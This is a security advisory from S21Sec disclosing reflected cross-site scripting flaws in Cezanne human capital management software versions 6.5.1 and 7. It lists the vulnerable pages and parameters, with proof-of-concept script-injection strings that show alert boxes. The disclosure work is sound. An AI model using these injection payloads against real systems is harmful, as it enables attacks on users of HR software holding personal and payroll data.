SecurityReason - Cezanne SW Cross-Site Scripting (login required)

Advisory Text :

##############################################################

- S21Sec Advisory -

##############################################################

Title: Cezanne SW Cross-Site Scripting (login required)
ID: S21SEC-042-en
Severity: Medium
History:
02.Jan.2008 Vulnerability discovered
Authors:
Juan de la Fuente Costa (jfuente (at) s21sec (dot) com [email
concealed])
Fco Javier Puerta Rubio (fjpuerta (at) s21sec (dot) com [email
concealed])
URL: http://www.s21sec.com/avisos/s21sec-41-en.txt

[ SUMMARY ]

Cezanne develops Human Capital Management Software.

This Software provides leading-edge Human Capital Management solutions
that help companies better develop, manage, reward and retain their most
important asset - their people.

Cezanne include applications for employee performance management, career &
succession planning, training & development, people management,
recruitment, salary analysis & compensation planning, pay review, employee
survey and organization charting.

[ AFFECTED VERSIONS ]

This vulnerability has been tested in Cezanne 6.5.1, and Cezanne 7.

[ DESCRIPTION ]

S21sec has discovered a vulnerability in Cezanne 6.5.1/Cezanne 7 that
allows injecting JavaScript code in text variables.

This issue allows javascript code execution in the user browser.

URL[ NEEDS LOGIN ]:
https://www.somesite.es/cezanneweb/CFLookUP.asp?LookUPId=>"><script>aler
t("S21sec")</script>&CbFun=Focus_CallBack&FUNID=7302062&CloseOnGet=yes
VULNERABLE PARAMETERS:LookUPId,CbFun
STRING:>"><script>alert("S21sec")</script>

URL[ NEEDS LOGIN ]:
https://www.somesite.es/cezanneweb/CznCommon/CznCustomContainer.asp?ACTI
ON=RETRIEVE&Columns=2&Title=7302053&TitleParms="></title><script>alert('
%20S21Sec%20')</script>&WidgetsFunctions=7100027%2C7302015&WidgetsColumn
s=1%2C1&WidgetsTogglers=Y%2CY&WidgetsHeights=%2D1%2C%2D1&WidgetsLinks=&W
idgetsTitles=%2D1%2C%2D1&HideNonWorkingWidgets=Y&FUNID=7302031&LINKID=%2
D1
VULNERABLE PARAMETERS:TitleParms, WidgetsHeights, WidgetsLinks,
WidgetsTitles
STRING:"></title><script>alert('%20S21Sec%20')</script>

URL[ NEEDS LOGIN ]:
https://www.somesite.es/cezanneweb/home.asp?CFTARGET=";}alert("S21sec")<
/SCRIPT>%20-->
VULNERABLE PARAMETERS::CFTARGET
STRING:";}alert("S21sec")</SCRIPT>%20-->

URL[ NEEDS LOGIN ]:
https://www.somesite.es/cezanneweb/PeopleWeb/Cards/CVCard.asp
VULNERABLE PARAMETERS:PersonOid

URL[ NEEDS LOGIN ]:
https://www.somesite.es/cezanneweb/PeopleWeb/Cards/PayrollCard.asp
VULNERABLE PARAMETERS:DESTLINKOID, PersonOID

URL[ NEEDS LOGIN ]:
https://www.somesite.es/cezanneweb/PeopleWeb/CznDocFolder/CznDFStartProc
ess.asp
VULNERABLE PARAMETERS:FolderTemplateId, FolderTemplateName

[ WORKAROUND ]

Contact with Cezanne Software at: http://www.cezannesw.com/

[ ACKNOWLEDGMENTS ]

This vulnerability has been discovered and researched by:
- Juan de la Fuente Costa S21Sec
- Fco Javier Puerta Rubio S21Sec

You can find the last version of this warning in:

http://www.s21sec.com/es/avisos/s21sec-042-en.txt

http://www.s21sec.com
http://blog.s21sec.com